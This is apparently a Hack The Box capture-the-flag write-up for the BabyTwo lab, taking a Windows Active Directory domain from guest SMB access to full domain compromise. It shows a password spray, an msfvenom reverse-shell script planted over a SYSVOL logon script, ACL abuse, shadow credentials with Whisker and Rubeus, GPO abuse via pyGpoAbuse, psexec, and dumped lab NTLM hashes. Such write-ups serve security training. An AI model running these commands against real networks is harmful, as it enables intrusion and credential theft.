Post

HTB BabyTwo CTF Writeup

Guest SMB access exposes a homes share where a username-as-password spray yields valid credentials. A writable SYSVOL logon script is hijacked to capture a shell as Amelia Griffiths, whose BloodHound privileges chain through WriteOwner/WriteDacl over gpoadm — which holds GenericAll over the default domain GPO — to achieve domain compromise via pyGpoAbuse.

HTB BabyTwo CTF Writeup

HTB BabyTwo CTF

Notes

Windows ADCS probably on the machine, since we see baby2-CA being mentioned here:

1
2
3
4
5
6
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Issuer: commonName=baby2-CA/domainComponent=baby2
| Public Key type: rsa
| Public Key bits: 2048

SMB Enumeration

Guest authentication is enabled:

image.webp

Authenticated to the homes folder. Took note of every user in there and saved it to a users.txt file. Performed a password spraying attack against those users and found two valid credentials:

1
2
3
4
5
6
7
8
9
$ nxc smb dc -u users.txt -p users.txt --continue-on-success 

<SNIP>

SMB         10.129.234.72   445    DC               [+] baby2.vl\Carl.Moore:Carl.Moore

<SNIP>

SMB         10.129.234.72   445    DC               [+] baby2.vl\library:library

Both “carl.moore” and “library” have access to additional shares in the system, and they also have more permissions over shares. Take carl.moore for example:

image.webp

We now have access to the “docs” share, “sysvol” share and also write access over the “apps” share.

Failed Attempt - NTLM Theft

I used ntlm_theft to try and obtain some password hashes (I figured since I have write access now over a few shares, maybe a user will eventually hop on the share and execute my file):

1
python3 ntlm_theft.py --generate all --server 10.10.14.224 --filename malicious

I connected to the share and used “mput” to upload every malicious file to the “library” folder in the “homes” share:

1
2
3
4
5
6
7
8
smb: \library\> mput *
Put file desktop.ini? y
putting file desktop.ini as \library\desktop.ini (0.1 kb/s) (average 0.1 kb/s)
Put file malicious.lnk? y
putting file malicious.lnk as \library\malicious.lnk (4.4 kb/s) (average 1.6 kb/s)
Put file malicious.asx? y

<SNIP>

I did the same for the “apps” share and “docs” share, hoping it would work in at least one of them.

Then I used Responder.py to wait for conections:

1
# python3 Responder.py -I tun0

However, I waited a good 5 minutes and nothing happened.

Login Script

I connected to the “apps” share:

1
$ smbclient -U baby2.vl/library%library //dc/apps

In the “dev” folder, there are two files:

1
2
CHANGELOG
login.vbs.lnk

The vbscript file obviously raises more suspicion. I downloaded the file and inspected it using “stings”:

image.webp

It mentions a login.vbs script in the sysvol share. I grabbed the script in there, and it seems like it’s just mapping shares:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Sub MapNetworkShare(sharePath, driveLetter)
    Dim objNetwork
    Set objNetwork = CreateObject("WScript.Network")    

    ' Check if the drive is already mapped
    Dim mappedDrives
    Set mappedDrives = objNetwork.EnumNetworkDrives
    Dim isMapped
    isMapped = False
    For i = 0 To mappedDrives.Count - 1 Step 2
        If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
            isMapped = True
            Exit For
        End If
    Next
  
    If isMapped Then
        objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
    End If
  
    objNetwork.MapNetworkDrive driveLetter & ":", sharePath
  
    If Err.Number = 0 Then
        WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
    Else
        WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
    End If
  
    Set objNetwork = Nothing
End Sub

MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"

However, since it’s a “login” script and placed in sysvol, maybe if we can modify this script, we can get comand execution as whoever runs the file (generally autologon)

LDAP Enumeration

Using the credentials discovered earlier, I could enumerate LDAP using bloodhound:

1
nxc ldap 10.129.234.72 -u library  -p library --bloodhound -c All --dns-server 10.129.234.72

I searched for the “remote desktop users” group, and clicked on “members”. I do this mainly because users in this group have RDP/interactive access to the machine, and I think it’s good practice to place them as “high value”.

The only member is “AMELIA.GRIFFITHS”. I put “high value target” to the user object in bloodhound (right click), and noticed something fairly uncommon:

image.webp

As you can see from the screenshot above, AMELIA.GRIFFITHS has the logonscript attribute set, pointing to the script in SYSVOL.

Amelia also has some outbound privileges, including WriteOwner and WriteDacl over “gpoadm” user:

image.webp

And the “gpoadm” user has GenericAll over the default GPO for the organization:

image.webp

So first we gotta compromise Amelia to get to “gpoadm” so we can issue malicious policies to the GPO.

Lateral Movement - Hijacking Logon Script

Knowing about the logon script, I immediately used meterpreter to generate a malicious vbscript file:

1
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.224 LPORT=1234 -f vbs --arch x86 --platform win -o evil.vbs

I set up my netcat:

1
rlwrap nc -lvnp 1234

And used my credentials (library:library) to log in to the smb server on the SYSVOL share. I proceeded to navigate to the appropriate location:

1
2
3
4
5
6
7
8
9
$ smbclient -U baby2.vl/library%library //dc/sysvol
Try "help" to get a list of possible commands.
smb: \> cd baby2.vl\scripts\
smb: \baby2.vl\scripts\> dir
  .                                   D        0  Sun Sep 28 10:25:59 2025
  ..                                  D        0  Tue Aug 22 13:43:55 2023
  login.vbs                           A     7472  Sun Sep 28 08:21:56 2025

                6126847 blocks of size 4096. 1946350 blocks available

I uploaded my newly generated malicious vbscript (named “evil.vbs”) to overwrite “login.vbs” in the server:

1
2
smb: \baby2.vl\scripts\> put evil.vbs login.vbs
putting file evil.vbs as \baby2.vl\scripts\login.vbs (11.4 kb/s) (average 11.4 kb/s)

Immediately, I got a connection back as “amelia.griffiths”:

1
2
3
4
5
6
7
8
9
$ rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.224] from (UNKNOWN) [10.129.234.72] 64521
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
baby2\amelia.griffiths

Lateral Movement: amelia.griffiths -> gpoadm

I did transfer PowerView.ps1 to the machine, executed powershell and imported the module:

1
2
3
4
5
6
7
8
9
C:\Users\Amelia.Griffiths\AppData>powershell -ep bypass
powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\Amelia.Griffiths\AppData> Import-Module .\PowerView.ps1
Import-Module .\PowerView.ps1

Changed the owner of “gpoadm” to my user and also changed the password for the user:

1
2
3
4
5
6
PS C:\Users\Amelia.Griffiths\AppData> Set-DomainObjectOwner -Identity gpoadm -OwnerIdentity Amelia.Griffiths

PS C:\Users\Amelia.Griffiths\AppData> Add-DomainObjectAcl -TargetIdentity gpoadm -PrincipalIdentity Amelia.Griffiths -Rights All

PS C:\Users\Amelia.Griffiths\AppData> net user gpoadm Password123! /domain
The command completed successfully.

With the permissions we have, we could’ve used Whisker.exe to perform a Shadow credentials attack against “gpoadm”. It’s recommended this way, so we get access to the account without having to change its password. This would only be possible because ADCS is installed on the machine, though.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C:\Users\Amelia.Griffiths\AppData>.\w.exe add /target:gpoadm 
.\w.exe add /target:gpoadm 
[*] No path was provided. The certificate will be printed as a Base64 blob
[*] No pass was provided. The certificate will be stored with the password gD7AjJIEOrbT9xyG
[*] Searching for the target account
[*] Target user found: CN=gpoadm,OU=gpo-management,DC=baby2,DC=vl
[*] Generating certificate
[*] Certificate generaged
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID 4f1351db-be44-49dc-8f62-e87cdd7626f5
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] You can now run Rubeus with the following syntax:

Rubeus.exe asktgt /user:gpoadm 

<SNIP>

And then use the provided syntax with Rubeus to get the NTLM hash for the user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3 

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=gpoadm 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'baby2.vl\gpoadm'
[*] Using domain controller: fe80::74dd:dc1c:32d1:f078%3:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

<SNIP>

  ServiceName              :  krbtgt/baby2.vl
  ServiceRealm             :  BABY2.VL
  UserName                 :  gpoadm (NT_PRINCIPAL)
  UserRealm                :  BABY2.VL
  StartTime                :  9/28/2025 8:31:49 AM
  EndTime                  :  9/28/2025 6:31:49 PM
  RenewTill                :  10/5/2025 8:31:49 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  WPYr5RFKvsqxRJknAayNKQ==
  ASREP (key)              :  C388BF2E1C6D005FC9D8CB7FE4A4061A

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : 2B576ACBE6BCFDA7294D6BD18041B8FE

The hash it provided is the hash for the password I already set, so this won’t work.

To get the actual password (after obtaining domain admin, steps below) I recovered the original NTLM hash for “gpoadm”:

1
baby2.vl\gpoadm_history1:1103:aad3b435b51404eeaad3b435b51404ee:51b4e7aee2fbdd4e36f2381115c8fe7a:::

That is;

1
51b4e7aee2fbdd4e36f2381115c8fe7a

So I could grab this hash and change the password of the user based on the hash, back to its original password.

To get the password history you can use secretsdump:

1
$ secretsdump.py -history baby2.vl/john:'H4x00r123..'@dc

Domain Compromise

I used pyGpoAbuse to issue a malicious policy to the vulnerable GPO:

1
2
$ python3 pygpoabuse.py baby2.vlgpoadm:'Password123!' -gpo-id 31B2F340-016D-11D2-945F-00C04FB984F9
[+] ScheduledTask TASK_823d3775 created!

The group policy ID can be found in bloodhound:

image.webp

In the help page for the python tool, it describes how the default behavior is to create a new user called “john” and make it local administrator:

1
2
-command COMMAND      Command to execute (Default: Add john:H4x00r123.. as local
                       Administrator)

With the new user created, I used psexec to get a shell in the victim as NT Authority System:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ psexec.py baby2.vl/john:'H4x00r123..'@dc
Impacket v0.13.0.dev0+20250710.92041.bf2d749 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on dc.....
[*] Found writable share ADMIN$
[*] Uploading file SFgfmOzz.exe
[*] Opening SVCManager on dc.....
[*] Creating service OKYL on dc.....
[*] Starting service OKYL.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Admin hash:

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:61eb5125f9944214679c2d0fdca6eb82:::
This post is licensed under CC BY 4.0 by the author.